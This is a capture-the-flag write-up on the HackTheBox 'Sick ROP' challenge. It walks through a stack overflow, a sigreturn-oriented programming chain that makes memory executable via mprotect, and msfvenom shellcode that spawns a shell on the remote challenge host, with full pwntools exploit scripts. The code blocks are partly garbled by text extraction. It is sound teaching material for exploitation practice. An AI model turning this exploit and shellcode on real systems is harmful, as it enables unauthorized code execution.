setup
I haven’t done any kind of pwn/exploitation challenge in a while so lets go. Looking around for an easy ROP challenge on hackthebox I spotted Sick ROP:
The 5.0 star rating stuck out, so lets go. I setup a hasty amd64 linux VM, installed GEF and pwntools.
analysis
gef➤ checksec
[+] checksec for '/home/kevin/ctf/sick_rop'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : ✘
NX
makes sense given it’s a ROP challenge. A
quick look under binary ninja (free edition!!):
Comments are mine. This is a really basic binary. Some notes:
- no
main()
- no use of libc
- syscalls only
Obviously the point of this challenge isn’t finding the
vulnerability but instead exploiting it (there’s a function
called vuln()
). What do memory maps look like
at runtime?
No rwx
sections, which is what I’d expect.
So, given:
- no stack canary
- obvious vuln that allows us gain program control via stack-based buffer overflow
- a random stack address due to ASLR
I’d say our goal is to make a syscall somehow to
mprotect()
on the .text
section at
0x401000
to make it writable. We can obviously
ret
in to the middle of the custom
read()
function, and we’d be able to call
some syscall in which we can control two arguments,
if we could somehow control eax
?
controlling eax via
read()
return
Luckily I remember an old trick from my ctf days:
read()
will set eax
depending on
the number of bytes you feed it - so we can theoretically
call any syscall from 0-768
(though the
overflow would ruin the stack if we go above 40 though). And
actually in this case, write()
will do the
same, which means we can manually ROP to
vuln()
, feed a number of bytes of our choosing,
and set eax
on ret accordingly (why ROP to
vuln()
? because we need some known-address of a
buffer to read to, and vuln()
takes care of
that for us).
Let’s do an experiment to see if we can trigger the
overflow to ROP back to vuln()
and make
eax
equal to ‘7’.
find offset to return addr
# generate a long string
> pwn cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
# crash the program with it and read $rsp
Program received signal SIGSEGV, Segmentation fault.
0x000000000040104e in vuln ()
....
gef➤ x/gx $rsp
0x7fffffffe398: 0x6161616c6161616b
# calculate the offset
> pwn cyclic -l 0x6161616c6161616b
40
test #1: call syscall ‘7’
#!/usr/bin/env python3
from pwn import *
= ['tmux', 'splitw', '-h']
context.terminal
= 0x401014
syscall_rop = 0x0040102e
vuln_addr
= process('./sick_rop')
p '''
gdb.attach(p, break _start
''')
'Waiting for key press...')
log.info(input()
= b'A'*40
payload += p64(vuln_addr) # rop back to vuln() so write() sets eax
payload += p64(syscall_rop) # call a syscall
payload
p.send(payload)
# call syscall '7'
b'A'*7)
p.send( p.interactive()
And when we break on last instruction before the return
in vuln()
we see that we will be returning to a
syscall
instruction with rax
set
to ‘7’:
but… what syscall to ROP to???
Unfortunately the syscall gadgets available suck. With
either read()
or write()
we’re
stuck with a syscall with a number < 40 that takes (at
most) two arguments. I poured over the list until I saw
sys_rt_sigreturn()
and remembered that SROP is
a thing, and oh yeah, the name of the challenge….
how to SROP
I’m pretty sure I’ve never actually done SROP, but googling ‘pwntools srop’ landed me this sweet page: https://docs.pwntools.com/en/stable/rop/srop.html
Sigreturn ROP (SROP)
Sigreturn is a syscall used to restore the entire register context from memory pointed at by ESP.
We can leverage this during ROP to gain control of registers for which there are not convenient gadgets.
The main caveat is that _all_ registers are set, including ESP and EIP (or their equivalents).
This means that in order to continue after using a sigreturn frame, the stack pointer must be set accordingly.
with a nice code example (and look how convenient!)
>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT_FILENO
>>> frame.rsi = binary.symbols['message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols['syscall']
my code now looks like the following:
#!/usr/bin/env python3
from pwn import *
='amd64')
context.clear(arch= ['tmux', 'splitw', '-h']
context.terminal
= 0x401014
syscall_rop = 0x0040102e
vuln_addr
= process('./sick_rop')
p
# set a breakpoint at epilogue of vuln()
'''
gdb.attach(p, break *0x40104d
''')
'Waiting for key press...')
log.info(input()
= b'A'*40
payload += p64(vuln_addr) # rop back to vuln() so write() sets eax
payload += p64(syscall_rop) # call a syscall
payload
# mprotect(0x400000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC)
= SigreturnFrame(kernel='amd64')
frame = constants.SYS_mprotect
frame.rax = 0x400000
frame.rdi = 0x2000
frame.rsi = constants.linux.PROT_READ | constants.linux.PROT_WRITE | constants.linux.PROT_EXEC
frame.rdx = 0x400f00
frame.rsp = syscall_rop
frame.rip += bytes(frame)
payload
# send it
p.send(payload)
# call syscall '15' (14 chars + newline) aka sys_rt_sigreturn()
b'A'*14)
p.sendline( p.interactive()
worth explaining:
- I’m setting both the
.data
and.text
sections RWX since they’re easily reachable with one call. why not. - I’m arbitrarily picking a portion near the bottom of
.data
as the new stack, which will grow down in memory addresses
after testing my screen looks like this:
$rsp
is in the range I selected- both sections are now
rwx
looks good.
finishing up
This post is getting lengthy for a simple ROP challenge, so here’s the finish:
- the sigreturn frame needs somewhere to back to. I set
$rsp
to0x4010d8
as it contained a pointer back tovuln()
to read in shellcode to our newrwx
stack - I set
$rip
to a return so that we pop the pointer back off the stack to return to it (vuln()
) - I watched in gdb as the program read in my new shellcode, noted the address, inserted that address + 8 right before the shellcode, and sent it!
Here’s the final result:
and the final code:
from pwn import *
='amd64')
context.clear(arch= ['tmux', 'splitw', '-h']
context.terminal
= 0x401014
syscall_rop = 0x0040102e
vuln_addr
#p = process('./sick_rop')
= remote('94.237.58.188', 51776)
p
# set a breakpoint at epilogue of vuln()
#gdb.attach(p, 'break *0x40104d')
'Waiting for key press for payload 1...')
log.info(input()
= b'A'*40
payload += p64(vuln_addr) # rop back to vuln() so write() sets eax
payload += p64(syscall_rop) # call a syscall
payload
# mprotect(0x400000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC)
= SigreturnFrame(kernel='amd64')
frame = constants.SYS_mprotect
frame.rax = 0x400000
frame.rdi = 0x2000
frame.rsi = constants.linux.PROT_READ | constants.linux.PROT_WRITE | constants.linux.PROT_EXEC
frame.rdx = 0x4010d8
frame.rsp = syscall_rop
frame.rip += bytes(frame)
payload
# send it
p.send(payload)
# call syscall '15' (14 chars + newline) aka sys_rt_sigreturn()
b'A'*14)
p.sendline(
# once we ret back to vuln() we need to feed it some shellcode, this is a quick grab
# from msfvenom:
= b""
sc += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
sc += b"\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"
sc
= b'A'*40
payload += p64(0x4010e8)
payload += sc
payload
'Waiting for key press for payload 2...')
log.info(input()
p.send(payload) p.interactive()